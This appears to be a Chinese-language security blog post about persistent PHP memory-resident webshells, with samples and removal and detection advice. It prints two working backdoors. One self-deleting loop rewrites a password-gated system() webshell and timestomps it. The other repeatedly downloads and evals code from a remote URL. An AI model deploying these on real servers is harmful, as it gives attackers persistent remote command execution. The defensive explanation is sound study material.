不死马为PHP内存马常见形式,后门运行后删除自身文件,利用死循环驻留在内存里,不断主动外连获取指令并执行,本文记录其样例及查杀思路...
0x00 简介
内存马的本质是通过隐藏自身,避免文件落盘,让后门代码在内存中驻留,并且可以通过特定的方式访问,触发执行。
PHP内存马常见形式为即PHP不死马,脚本运行后删除自身文件,利用死循环驻留在内存里,不断主动外连获取指令并且执行。
0x01 不死马
本地执行恶意代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '/var/www/.shell.php'; $code = '<?php if(md5($_POST["pass"])=="76a2173be6393254e72ffa4d6df1030a"){@system($_POST[cmd]);}?>';
while (1) { file_put_contents($file, $code); system('touch -m -d "2021-01-01 00:00:01" .shell.php'); usleep(3000); } ?>
|
限制:会阻塞进程,多数情况会有本地落盘文件,难以烧过实时文件创建动作监控,只是一般删除文件方法无法清除,长久驻留在内存的一种思路
远程加载恶意代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php chmod($_SERVER['SCRIPT_FILENAME'], 0777); unlink($_SERVER['SCRIPT_FILENAME']); ignore_user_abort(true); set_time_limit(0);
$remote_file = 'http://phpeval.com/eval.txt';
while($code = file_get_contents($remote_file)){ @eval($code); sleep(5); }; ?>
|
eval.txt
1
| file_put_contents('test.txt','webshell test'.time());
|
0x02 查杀思路
1、条件允许情况下,重启服务。
2、kill掉php服务启动用户下的所有子进程:
1
| ps -ef | grep php-fpm | awk '{print $2}' | xargs kill -9
|
3、使用条件竞争写入同名正常文件取代不死马,usleep需要小于不死马设定时间:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php ignore_user_abort(true); set_time_limit(0); unlink(__FILE__); $file = '.shell.php'; $code = 'kill backdoor';
while (1){ file_put_contents($file,$code); system('touch -m -d "2021-01-01 00:00:01" .shell.php'); usleep(1000); } ?>
|
检测思路:监控PHP进程命令执行行为,关联分析文件创建、非法外联等行为以识别此类攻击
0xFF Reference